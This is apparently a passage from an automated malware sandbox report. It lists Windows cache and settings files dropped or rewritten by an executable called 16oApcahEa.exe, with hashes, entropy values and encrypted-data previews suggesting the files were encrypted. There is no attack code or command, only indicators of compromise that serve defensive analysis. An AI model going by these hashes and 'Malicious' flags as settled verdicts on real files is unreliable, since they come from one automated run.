C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409009155626780.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	118503
Entropy (8bit):	7.998637852830479
Encrypted:	true
SSDEEP:	3072:3iDPVgvyZ9KgBz8akoArLIf/sOtoHknXvsEFo3IqHSGZj:yDPVgvyO4zHArDlkn/sGSuGN
MD5:	ED50B2AF205A91CB83F4DA504E85FBA6
SHA1:	5F513043EAEA7518FBD2079B7C50B126EDC892F5
SHA-256:	9B7A7CC7F15A62618B72640AF45E4AEB915832E940C9157EF0120549EA442962
SHA-512:	FCEC857F278FD97BFCE726E4B74F902B0E3D66D3ACCCE359677D93DEA75482D706F0E38D8F67644446F58CCFAB84E51F7E26BF494E1AC1111AC882D12F25B37C
Malicious:	true
Preview:	[{"Sy.0...o.=..H..`k"....>#..j....{..:P2.U..>.s......i.ml.....Z...F..C.S.uf.e'..N;0.....;..t....W.}5'.s......../.S..y.(..D"8..i..{w...{.(..Y...BX.{....X...].k.....S.&.._.... .E=.(.0..O.'u]uI..EY.T......9..\|&J..<I.....wk.i..F.P.c-..?.ET...!.........QV.n.ZV.Npi.M...vC\......]y......Lx<.^8.'....~........f.+..Q.O.....E..x._...T..T..Y.)e}.L.L.D... .<....$Yf.oH.j.....4...<1/<.g..m.4..#..Y.9Z..fs."V.&.T/*.0.....j.H./T.).O..\|g7.$%..n.O.....nW.>.~..\|1..Ir.ETYw8k...-n..f].Y...<....... ....#.K..lZ.M..&F.DF).........^o...k.>E.&.....y..........q...e.{?d1.wuW[=.&.s...=Qu......H...H,......7af.zX...#.7^.xFsY.....g%..=...C.G..DDj.1J-..u......@"y.3...M[.7..K..E.3.&}.5..,......E..vvZ.$.#..>vM.@J.......N....^.......?8...+...-..f;.[/p.. ..=..].tg.B...<.._#........!......y...w.M.RD...@o`r..M8..........=m.xeMJR.'$o~.S.H.".K.."e2....;.e.&.\|..;.}N$..._..~...V>..F.(rr5..fj...C...-.....D.I.^..'V..4R.{...J.F6CqE=.....0..7%.....l0......uJ..<..w...1..#.X.l...qy

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409010467962588.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	118507
Entropy (8bit):	7.9984996795354855
Encrypted:	true
SSDEEP:	3072:FANIIBwJZADNBT+w7mbHG/OcC1nbxKhw7pheB2a:FA6IugNQw7AG/LCDKhOza
MD5:	E03F61073EC65316F30456C0690619F9
SHA1:	E64F1C9A78D43D4BA2D3A71181BFFA4D42A03AF4
SHA-256:	F07E43C8D47AD075B4B443F01B56F685FC56329D08E56A3A799EE3F3DF80BEA9
SHA-512:	F882F5FF1DC06E35A0E907CF4F6BFC1A6EF2E2A57BE4796B54FF3312356C98F555935CF5C732B21475D98BB82F2778704EFCB1B44C31572265BC53D182CD845E
Malicious:	true
Preview:	[{"SyL....1E.N..n...d_.......u!... `..9......."....9L./(.W?./...B..../......m....Q.Dq,.....Q..AF...WS..S.p.#....]&.+......!x..AA..4..u....\B.4>t....AU?..Q.....Q..pwI.ti.6...^...g.X9E.N....\|.z.j..}.......Tgl...q!...Q....Tl.\[.xl,..-..;.-$E6...1.o.W-O,....UH.. .1.=..........jQ.:.../z.K.(.[. X./.PS..+.Y......D..2E....o./...m......g.e.WV..d3{.c...j.a.F-...o@g{..d.9c.a..{.kIL...l............}.. ,F.-T.SW,.......\Of.....O.....Y.R..dy.{b......YvS.1....i.{.5j.m.....[...g.,..RQw.!!.B....x1AB..ok..,.......w..A...nn.~6.@..7N.S"#g9...Q.....A..%...D.&C.>_\|.......f....!.b..x..g..E.. ...k5...[h...:.6.+Mq...F.U.........._s.G=...%.&.....O..=...8.U.d.7^.=.b.L..;O.._r...c..}..ST....`g....2.....1......7.0..o_....._.$..8_.:..!4.8.+...<Vk.?....5/`.z.....8...m"...n...v.S.x.0..^...9.Q.s.f:.....62e..%!.6.3q.G.U....4\|}.cb..aT.......,.......`.k....~#...........~..iz...:U...X..uy.[rld...z.%:.e..u]......7}X.....U.....i.i}.......?..z;.R..I.Sp...L.U01.[[.o

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021046094069.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	118525
Entropy (8bit):	7.998600994474612
Encrypted:	true
SSDEEP:	3072:gTC0Hbut4RDxjuvpnABrC3VsEpHtvHayBBcDayEs4KTDii:yC0H8gxyvpnApcsyHBHayHcWyEs1vii
MD5:	B23AE4B7ABB89AB8FF9F9DA667F76DDF
SHA1:	3B4406D90FC625B9035A933A478F861115B3B7C9
SHA-256:	FDCBA9536CE2A8FC92A8DED5D07F57943510205B22D910A49105C624C5DDCF69
SHA-512:	76103A7EFFCE64C79D21D80B3503D2AE41AC7CFA1B04C12B74513430493A60E52609FBF7F89C97848857365FB14C43AFF387AD76CC77977C4C00AD5CB5EFC599
Malicious:	true
Preview:	[{"SyR0! #o........~<..w.l....C.... G.?.U!.....W^U.-.G.VYT...u...&..e..!Rk.)...P/.>..y_.<...o}0......5...jc.I$-{c.R..8.".......g.....n..c...........8)...q.].exv-..$).'..s/TRX..$....z].OZ.....4.d..3.u..Rg..RB?..E.R...I).+..Z.......Z...I...W....H.Y....1...V..~...b.%.R.)..3.IH..]..t+1...@.O..EJ..U..\..T.L.Vh.....wuX.2.ag...x.\|..6..z.e...M}...O..b.&;...T\|.`./.....).cmx..0....$.}..k...tP.^^....rA=...p..b5...O.p.f......A.%$3.....c.).....,..xG.U...+.W.B.c.\.......;.....Z....Y9..p.'.d@.H.bO!.J..d].;r..OL.><B.v.....Y8o(s......~.>....nVlc.s<..U..d..0Z...YU.Zx.>SkmJ.$jcV.6r..<~...D#.n.4j.'.8.#8.Lb.[.....j...la.....$.......G...<X.(.....a./..:2....._N..~3...(4S..\.$..T.\|.....2.o.v.....j_..3(..<..D...]z.....X.....n.>.&...._<.@...{..\|U...@-..Z.J.P.~)..;...eP.Vh......u..K.,J...`..o{j.,E........l..I...o.<...8...Gk.kwN..V.<Vu...".T...b.I.,..+;.b..._..C..V\Q..g......P.....}..C...x8..Q..>...4.8\J...M.aO..:1i..,.L..u\|..E.:.7@.*.'...#nK..N.%.....!=.....q.. Y.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021833987004.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	118751
Entropy (8bit):	7.998615951458107
Encrypted:	true
SSDEEP:	3072:8WP2cJNMNXvApZl3Q3evMqeo5wkC3YMC7VfpEtq93jHuQ:OcrMNXmZl33kqd6kCov7VfpEtw
MD5:	720A635FE6A69C9ACD653211816EBC9D
SHA1:	C6C4C1B6BA6288F1499868C1F187FCD11D515332
SHA-256:	F453782FA0C56A3E770196B3BEB0F255770BF0238534B8B55610549FAFCE7D05
SHA-512:	46E13268488E7F218FD0ABA48783C1E570036551DEDB0FBD25987FB120DFBAECCB3464AA07929EFF09E909B0CA575E1FFC155B9489C39432877D15ED0493373A
Malicious:	true
Preview:	[{"Sy...... .6..q.XqKB...}XE\|..<.f.1.T....."\.6^.$Eh.w..S........>.F._j....H.h.3.r-...Wo.".E.#../..._-....<4^.59i#...8.t7..[.rwe[...#.o..B....xT...z...t(.....'..c{.'.l.&......8.-..%{...............:...U...2..D)...&e.M...1.c..Z.h1jY.o0...Vni......qH...J#..}..{...B.,..;D.....-2&...v.1\\.!W\..;..y.b`.......u.....3I.....H../..ro.^........s>.n.G..w..G..T..(wR..u.....=.O/...S..Z.sw0T.(.?.4y......3.Z..'a.t...o@.:7a.....(..-.8.....f.$...'.....gm..P&.blT.5.........0......R.=P...Z.R =..?Z.w..Ml..H.c.....O.3.0.40...6.\|v...H..v...U...pfk.....O.j.~.%...FN..bPK..........i.\|y..H..L...R..c.B.i.y.4.X..6.....N.{}b....l.s3/s......<...@...)......G...'..?.9.y9.{.X...Q...7..>WW..5."....Q..P.Q..p...Nt...b..~L...+..J..n)..2..L..4..?.......N.d..S........6.]..........%..m.%!a.C.].x.%n..8LjN1.,....kY.i...[.Bx'.;sl...Q.."h..U...J.A.~.+>yE......^BYgh...n;b."4.@...J...-+....V5.a..~3....d.....?.5.8....m..".4..._...8.feyAZ.AIJ.!..G:82..?C..hV.. ...4...W.SF..r.cuG

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409022763610746.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	117150
Entropy (8bit):	7.998499918082999
Encrypted:	true
SSDEEP:	3072:PuANpq9K1POZfbqU4dHz0iLPq/S9iQYMavdu2JbSjnj1Dw:PusiKp6m5T3C/S9eMa1zJ2rlw
MD5:	70C2DFDC267A005171A43973090F8023
SHA1:	A66670AEAF333F48E56AB736C2685B6080A24A49
SHA-256:	3FE3F25A6A46A5BC7750F2F0F16E7F7C4AA6E4F6F14B66C3006AF4D8C82B3089
SHA-512:	89298FB715C42C11BAC89220ECFAC73F4022CA5F01BD7EAEE9A9C4BCAB7374DD74408C11BB4F96B14C4F9850E803505056D1EB0ACE953625D3A9C51F2454583E
Malicious:	true
Preview:	[{"Sy......JJn...;^6.h.5............0..../.oC..fjG.E.7.E....[{..f_...K.$I.9..,]............4\|r..K....{kT..`.7.h2.7....*...T...O'.,v.O........m..F...l=K)......l...]N.S..z...[R. ..3e..1.C.&`G.N.Uas.........2..@..o=e...x'..[...Yeuiz.....BW.Z...,.. .X,......J.W.1.q.b.d.%....\..dD.....I......Mq......u.s....R..c...Uc..-w..^.5.h+.].`....M.N.j.. 4..-.).rs.e".....y!._4...&..t.tE.U.:.d.TUC......V1..-r....T....3c.;.Y.(o.n....!...?.QV.9..I.@G....v...7.Z..W?p..5N0O17c.....h.].......l..-G.d..Dw.[$.......U&.......LY[..o...D}.L...N........E#.BLU......s.M..1.......ib0.{...t@..:#.&+..O....0?..,?4..\|.5.P!.._..`Qh..CG..d.%A..I.7.eqSa.....2.....K.C.F9..~.........J.tKr.c:....[Iu/.....z.+.o.. ..2.z...aP...R..l.fO.,..9....F....p...d.K..s}.n..~......"..I_...gW.&...e(1[.&.V.[...o.Hh.r.G(.i...-'4i..v....$%..Y=..\{E.N.....e9}n...<...GO...sO..@.s!.......6..3p..-.g.O......N.G..&k....].=8..t5PAI!....G-:Oa...i.D.S.....3.Hj.C..wB....qg\........A.a{}..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409023789902202.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	115176
Entropy (8bit):	7.998354840836098
Encrypted:	true
SSDEEP:	3072:DmmRYOY6ti0Tk2v0lcQD453I9EVlJOVNStwT:DtYOY6ti2v0lh853I2r8VNStwT
MD5:	08D002F84D2363E059ACEDD180219311
SHA1:	1AE45241E184A20250F31179CB9108D3332770EB
SHA-256:	95D66E81CFB2B02FE93F139BC6A2D074D10B682D594F51E07873B31BEDC346A1
SHA-512:	BA706AA191DCB01B70005DD7DD10A93F59DD430DB6189DD3601B700F62121416127649C340FC6BE9353D356727983E27CD67049CB7610BAE19388DAD9F99CA3F
Malicious:	true
Preview:	[{"Sy..q..a.<..9i.........a..8..YAL..A..xhmNAJu.?'...:....Fx..7z.R.>....f<....$.;...SL..s2@...q....D....R..].....W9...Q...Xa(......UL8n......bs.fw1........=.G?....t.F...IM...?..B.\|y.v..0...PU...Z>....3.k....J..i(.....;?..Ea...J..W...wGn..'.......V,]0h....,.)H....i=<...H..j....dIP..........k.5/'l.....OC......x.%l...K>..o$...S..<...\E.:..w^,7......S...:...y....\..r..,a.2W......M4.D..[..\|.hM.w}e......3...c.O......w..f.33...^.E..o.j..N.$-X...".....J].6.v...2.../8d..r...Uy$..!JD...B..... P.w;...a8....=.......J.<.L..&r\|K.............d.....IzU_..}}..]..Gh.Z$..=%.{....xx.....fh/.].-`.)j.o......u.{...XYyV"M(......mt......M.......p.....r.-.[i..r..eRD..&.P.......q..T....A....>......9%.AG..8X...b..O....7.t./.a[A.3.......I;.G.!...L."...[...I.o#j....4C.CI4...............9qA.w...jzq1.:.....B..=-h.tm6.D. .....^[..?1...M...p...P.p.M....z:.\|...j.. C.I.?..u.....Q.&Ot4..V.].3S(.-..LZ....,;............g.Z.4..Q.kC..@...]w..5.....V.......M..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024089824579.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	115177
Entropy (8bit):	7.998374633329806
Encrypted:	true
SSDEEP:	3072:zFWUv/czGtjmvS58MmWFsCR5pMkOfIvr8MY:FUEyK58MTs+pFHQP
MD5:	B2AD1AE661D11507DC8A06075A2E1E6A
SHA1:	D0A35F2113A2AAF6BA920ABF2DF957DE71DA995A
SHA-256:	6DB69BBE2432343A88156052DD37D11D5FC391FBFC85EB62FC230636B23C8AEB
SHA-512:	96391538AD1A894D4BB9DCF04663944257F47B18B7C2577B224A89740E6CE0E4FA9309EFFFD17BEA0D60EDEAFCBEE0C81DDEE40F3C4DEA671FFA72DE6770580F
Malicious:	true
Preview:	[{"Sy..QaBl.....T.....Oj..;..+........gT....8.'f$\|D'VN.i..6......U.8....:..... .............C\H..w..........>Bg....p..XT.S..(......w!^..]..s..r.C...Y..uGj.y.1....a..L~H4<1J~.....Kz.+.......+.X...+z.....o..U8......"...i.z".P..?A..TP.%$-..`.O.C!......,.X8.k,4K"X......P.U.D..4...8.oHJ.COPP...^D,&G\W...9.t.mD.."].P......j.Q..o..A....,.i}..:..%.../.Q.-..].D....e.MC{...U......J b2....N+.b'{..W..52,._....L.._..S.PZ...i.:S....RM.'.zn<Q...J..9.<..#.u..BI.._Sv..]Ne,..q0T.]..Y..T.e....Ig...m..q..9W..M.;..c.....t}..U_.{Q.\......r{.........96..DE.#m}.YK<N 0@+.N.G.......5%.....&....>._wFA.)....:x...X^^/...M.1.........j:.kk@...j.Y.h...h.1J......:..r.E...?_z..h...oEm.....]...ALB...i.!.W..2..X..W}.03.4d..^WB..W.J.6.CH.RM.......f.3..;.H.P....;.U....:~......(u...Mp...%-...........7......D7=\........jj.K.._:....!,9.N.........Lm&.<....B.\|.(1i>.f........{.%.p\|..>...er..S...A.y...U...R@X.kxj...L..Cz...._hl.w.../...l.O.F.=~[...q...j&...,._.6f\|..J.&.*....X..Z..&.~

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024501033688.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	115177
Entropy (8bit):	7.9983292842608815
Encrypted:	true
SSDEEP:	3072:unEQC7O5/XQGwJ+Vj/v2lZR2Ou9QAodoI/IqFNY:KEx7wXQG1qPRJLiII
MD5:	000F45E82132E03DD5AA086525D898D3
SHA1:	46ABD34C6A8BE34782E80D1A1F1EB7F35368DCF8
SHA-256:	73AADA1CE037DE3AB8D110C979562E7E89D5372D30FEF05F3C34CE41A7461204
SHA-512:	1671E45015A9046B6A25B9B3B7BD06BBDE7E2533ECB6F9024ACD1B624B9CD60E42A17D6F6A2BCF15333A38C96437104E5635BD45A006159F9673FA8DA17A33A8
Malicious:	true
Preview:	[{"Syw.x.."..%..._w.<.Z....9.9'..Zx..z...&...c.U..Ey4....l......".8..<.B....... 68..MY.b..dK\|...MUO.!.eMo]xzB&6..R......-...Rqdx.y[V.5..E...';_}..a.DnY....}k..rI/...9...C.8..'r..!..ZK..p.NPTn._/.w(._.=-...G....=.{.g.h.^~;...N.?....C.F..fR..n%.@Q8.bY..).>.....KE.$.[.8"j...y..Kr.....%`..ca.Om..^...`.^.....L....,nC.(....!.......Oq<...Sj2U{...Z7.'..p."..;..\|.....9.....\|...<0.Q.>`.U$..\...Mi...D..S.P'<tw...@i\|....%3.....X.....tae.............[c..G..6....3..i.K.....+.!.7..$:..t...u.........4T..L..H.<E...N9.P...K^....Tm..J\E.x.P...[..TA.{...J9..0...N..AG.h....Y8....D.].tZ....M.M.pOy.^>....b.Xo...R....T.......N6...eQ..........4+.L0N..p.}..W...a.K................_.%s.m.".]+...>.Q...r.....w.k.X.F./og......?Y=...)m.e...e.$lm.....2zu.!....&..mqZ...[..K..i2....Y........{..I...."..%.i.!*F._.B.EmYQ?i.Q..0.<.....W.@.c3..t.1.}Dx.).H.....JmE.V<.#..z3.[.B..C.._..2.)......\W.Ct.M.xB.....1Y..T. ......M..>.F=[.:.......<......Bk$&....k...2{.];..2.)....0..T.;...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133802389628990815.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	114335
Entropy (8bit):	7.998364331949711
Encrypted:	true
SSDEEP:	3072:zo93Ju0t2gdZ6QbNDkPbougNWlhDwgJqhkpiUarSTd96C:LU2AZ6CCUfecgJkkHL3H
MD5:	E405618CEE53990EFADB89BE73D08165
SHA1:	F31B457E938CBEDA4631EA9C9E6677592B8A9C14
SHA-256:	F9D7FD064450010DDF824040ED8AFBBD4818716C96E7D93CF7B0641F05CD622E
SHA-512:	B3F57A318E24FE927153AB806FDA8C4B999D84AE465677E34F0A52E39F27AB6D9AE16DC63D241AE2DE97A4AAE94889E31329BA48D75F995492310A00A6C3188B
Malicious:	true
Preview:	[{"Sy..........g...L.?.."q...n...R.9.(`x/..;Hh.......'..k-N.....8e.....}.=m..G.]w.{...sx..\.i.....%...Vj{....9.&...........Dx......s......;a..))n9...x[{.....j3.ZVnA.H)...%D\|..T.f..P.6.%....P.!.I.... .....bU.w\....-..a.B..w...Y\|........(...H.G...~.)?..a.h.ws~..\Y.C.....o.....F/.-....k..\|...7.>......w./..2&.v.T.r...C..dZ{~......W.%<..1t..O.......a./.'z.......w,=<.@...@c.....%Lr6..in...........5...............Z.[.......=.U....7.Oe....5.E....}.O..a.EV.e...W..pA.hh....8.X....<U8I.Lxk7.w.=l..;......u.nS.......T..J.v)4h.m...3x~.....5.....K$-...+PTu..R..L,...$.x{.y..u7R0k...G....._.r..&..w....._l..`W..j6...M.O..!d...0%U....:....../.-...E.I3.50....P.cg.~R..:.h.m...h..e$Xc$..nZ..0..?.$5.:.\| Z...i.O.#DC.V.`.yGx....K...8ue..9G.4......i..].-V.@.6.......f.~.6d=.#&..(L."8..i4Rm.Z..wP...%y-...."2.....8...............M..$.e.:4?!:..z.{k...../G.....k8...6GN.!.".0....hQ....l..;.....b.T...P.P.j.C...,.R...X.)j.?...E...[...0i.Bw.a.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133802389929103136.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	114335
Entropy (8bit):	7.998436652537865
Encrypted:	true
SSDEEP:	1536:VKLpovTwiD1074DPBuin9mMVB3pKVNRbYvllkpw8yAliJ+nuX50VEIKPfwpUoSgd:iITFDVn5b5KZsvN8g+n183E7L9
MD5:	D2075B5B1C55E25E58B54B1C842FE1B4
SHA1:	5E01E936E3586064CDC9244DD27B2BC58387772C
SHA-256:	3D3A7415F27B6D544727E659B916A4836913E0FA72C284B4A4A12B71CC3CC38E
SHA-512:	F3E69D7E8FC3D74DA72FD9CA0D3BF8D673ED0715CEA26DD5389AEDE021C5036D00363BFA08CB27F24F712880534BD3C499645049173DFD1ACD7593A185917B6A
Malicious:	true
Preview:	[{"SyOQ..w.....@@......`!9HXI...Z........g;..?.....N....]4...5..7...~U#;9Z...s{.....(,.....\......D.7....mU0..N..wI.....8.....K..8.....QQ.9J...=,.~.r#...Z.N.-..9&YS..eM....i%..$..........P#..f......4./.l.k@v..[.-..a......X..&[.U9...[^..8..].x.N#..N3_=....v.-...A.'wd.v....S.;.S.).H..f..$g....YX0.mM..I....}....YCioJ._...2...n+....~...HO...%..Q..%._-.\|...T....p...S....(..G-.....T{...F...+..)dh.;.[.G..k........l.._..Bjz3.T>4...}c\...U....t...81.$VG..... K..HF!z_!x..?...?.\|Q................A.K......G.....3.rN...".%..I...k;..#..H.,./..;f..D$...bt7d~...c./:8.N.\|......>dI..\|V.......h..O3....w...G.G........i...2.&%.P4to .q.=...#.GW...>(...E.4..;....M.".K..C.~.WF.:yf..\`S..i...H8....f..=..4a./.....9.....P1?..W.)..p.j.o...I.2..d....FR.......V..s4D.31.\|u%......`.......\|.).!...Z....Z....h.t'....&.Edn........2k...t..........ZiN....r.".....5&P..q....../.z\.RM....^.........V....y.*7..m..U.:.wE.A.-.P..=.,...3..0Q....q.....C......:...1.B.i..J2...(......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.208862168510116
Encrypted:	false
SSDEEP:	12288:7eCNlexEveFoGotdYuMOCc5MpzgroTDLgP:7PNleyGF1uMOCc5MpzgroTDLe
MD5:	EDFEDD01133F139A504330EB56696E75
SHA1:	8777986B1149FDC94F8C28643B775F8F5192C89C
SHA-256:	D836A67E2BE4063D8D67F8A887319F920F45463AADC8C7E2085ABE8EB98AAE0B
SHA-512:	A6388F4C07614806DC272D743F314F6F38A0834DE7C96F3035FE33AEDEB323E72DD007B8A71041B74296CC7B0ACAE269E56A57092302B9727047D237083485A0
Malicious:	true
Preview:	[{"SyW..f.....c...tb.....gE.L@/1.......d.>Y.TY.$_..i..iRm&OL......O.5+..\.a.E7....'.p..4.y4A2C..r.PDI@gc...\..L......S....b.....S.~..K-.......p:....g..1. .._&~.....~..'....r.},6...,wIr..g.o..p..!A3 ..ob..K/@.uU...O.H{C.X5q.\|}....a.....Z.......`...Q...A..c.m>.Y.k....D.....LR5..r.D.Y...st-..kKor..J3.o.m.7"w..^.jAM..o....w2..FD...-....<...1..AP.=..7...0..}/5.).M..dP....O...'.e...y0.4.9.v<G..2.y.6...hI.....\+.$HL..d5G`....J^n.Ayn....-j.=#Z.'..k...!J..l.Z`..5...E..l..2S...>.H .#..b.n..#}....T:'m......=...Ga]/pc.k.C..m.@',....X,.~....8V.c.R..am:s)11\|...j.!.z.v...........R."G.X...xXoZ....=.F.Uo...RIm..f.......FU..]..?..b...7_+.E..$..8x:...4.2Gl0x..?..gv.3..`....<...3.....I....p........4.h.=.'*{.;DI.....k.KA..@P..y2.V..I.NE..J&.-.mp3...}T.K.;.3......O.F..a4..#.tdH.U..%;.A..^.x..2.w.t"./.7Hw.1..:....D.o.$.#/.........1.(8........c...1.29.;ew....y...l&.#g.20....qJLB]..Q.`....t.(.X...w+.).k}u.H....O.}....:r..\3;OD.Q.h..H]....S=.DX......A.my...#..

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9795954385095325
Encrypted:	false
SSDEEP:	192:CHnZqNU3HQFRLUFJO+m7Xsee/vynAdKWHl/daEgHCuwweqhX:WNXcuJmse8vDdXxgEcCVvg
MD5:	4CEC00594016F8E6E2B2E01A8168BDA2
SHA1:	72C07FE533FB9562FD4C71D7E47A8065FF707CC1
SHA-256:	173B970AFDD32E996D13BEE4A8A0018FD98E5CEEBDB246521F72AF7F1BA88DF4
SHA-512:	52F2ECDF7661400644631C43D332399A4F2A1CF2B28C84673C49641F45F92F4993F1FAF96B454AD8048840F7EBD242ABCFDE14C334088040944A4139FFDDA44A
Malicious:	false
Preview:	regf..h.+$.H...u...fY.@H..Ndxo.so.....)...k...V..2].0O-(D3..(....fD.}...:Z....<.&...}.3,..2Hq6.....&..&.....T8,..\..MQ.\....nE...Xr....9....La[.].?A.U.[....?.o9y.C....}#.x.!.s .L..lsy....-.....Q...i.o4o@.p.{4/.Z>..f...%..K..].W.b..=....WL.]...R.....{........>.~w..Q._.U.`6G..#5%6.AvIt..{a.....~..&.k..A.....&a...`a!n..../.B... E.......?X.:...IaK..r(..dE.r...2..G...{..Y3..U...NNf..o.L...h....0..I~....+n.5...[.d..${@.........\|C.R..,/yk..N<..9+.:....d.....T.R.at..PF.R..).)..f..Md....... U\+a.Vv'...b~..=.g...#..[{.d.E%.A...=.3Q4.o:D6.......SA.K.%.P..\|t.pD.N.rn...7....Ot...l../...M..iwH.gf./E8k..yh.)......i].....:DC....4`w%s.z.H.C..c......5.Y.W.l......][.Q]T....2.;e.+~n@..w....n_............^.... ...'..B..~..Ck.j.OP..b..;3...N......h1@...\pRa.:=.tN.....y.N..d.F<@..\|[a)v...f...FY...&..)....R..g./.%zqn.j.........7.+...a...HU;.&..i....HW...\|.'.......2.o..I.m.fw."..z..`.....}./G....z.....a.e]....N.z[..b...m......c..uaR. e..F,.A.8.7.,%.

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979005221619747
Encrypted:	false
SSDEEP:	192:FU1JmzUU+vPUDfrzQI+ficj+VTWQIA/BQmYQEKSQYsRP:tH+ngre6cGIAZ7IK4sR
MD5:	9D38ED2D25A6B9584F79B06227991D17
SHA1:	44880C438D108D324A1A7AB38578F2086980E936
SHA-256:	D2CB4B7FEB2FC1BFE51866BD725E4697940D6DBF894D180CF92495AB490F59E2
SHA-512:	1BF5575E8378E86CA678AF841BCCB9015CADE667DF84008ECA671A80A3C0FE9D79FECC8B8072FED401C8EE16670E1AC6F5E28DC7DC4FD8B00CDA7C8AE8CD3C20
Malicious:	false
Preview:	regf..i.x..Li..J.j.t...qYEX.l).w......;....hJ.[..'..R/.4..5.,..*V........j.....\f..k..`w..z.!.....S..9. B....gh!.2.W5.x.......H!.Z.f..a^.SR.$.&g\|.!.u.NeM....SL..KVT.......7...U/........Z.......\|.........eD.....CuW.cd.vL...7\.................&..+..FEo.N....,CF.P...TI.............F..D..e....{.M..s..\|=...&...........Kg_......q..c.M1 (G..={./..V.....n..T._I...~..$...}'...(_..X..a....,.)QZTa9.[.^.vR.=...'...Ky.0.3X.....(.G...z7..T..uk.........x.a..3..3.)....;.:ntHD....C\|.6D.."W:.. t.^........^iP....=...@SF.;./a......+....2~?^...........6..d.o?.../.f....9..A>.C.!.n...M..x...P....f....^.9........:LPbpd.u.U7.uL=.8.U...$.w!T..z.....b.bK..Vg....2....e%..N.O?77.Zw.R~p%.&S.JmG.P.5......}wu..U..}~H...N..Y..{......N.R.yd_d..).w.hP.T4..f...4.f.P.kU.M....8.6 ..X.V.u...T.......:...j.1.n.Ls.c8\.b..R...).....%.R.=...p.O!.jJ.\|.OSF..X+..d..vi.[....s.....a.G."....ohw.'R.]......A.....:..."..GY.Y.o.........>.cgs.z'e.j;.V.Z]`.....P........j.U.R...W.\|9..%..L..OsI)...

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_4_2023__16_5_0.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.614451908347664
Encrypted:	false
SSDEEP:	12:AoUKz9kYCAbF1/ykuYQKyDzGPj2gSkJAxFM60XgujETCam9M2cii9a:xFkYCAbykZ/yXGPjhS/0TjmC39pbD
MD5:	906A0C14FEE6F2888281E81BB27306E7
SHA1:	73A56BFB9321F1CBF1978A4760233CA1A3D11617
SHA-256:	55A5042354A2B32D5648B9FBC08B183A7E7E8584102E57AA907F1B9A793970D6
SHA-512:	644B29C8290DDD85701939A14E6DCAD08AD8F9548F833EB2125F180992C093B844DA60C6D6BA1FC521054FFCE20ABADC02B4E4A3D607FF29EE1CE6734F54E834
Malicious:	false
Preview:	[000:b..t....q.E......g..zq....R...gW..8...5.n.....n.....2.kX.%..u.{A...N.M..7.......8j[..\[@.....8c...4f.N...V4...aUd...U.O...T[....6F...ol..@e.osK..r..:._B.....YW..U.>..x.......$...VF./txt.\......9........R.k._...7q...anY*.R..3.Oi... .........:.l....7.J......\5....-.W..$. ....z..w.nru..y.:..O.K.,Z....N&.zc.........&1OO.]......]..<k..l..B.C..m.....TM..........[..Aj...z.. .D.......`1.L[...b.f..3j[cHL.'..bhk.e.cr8jMt........................UN...:s..7l./...z..@.f.a.........\|.".t".v..y..).........3_....eL....rxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

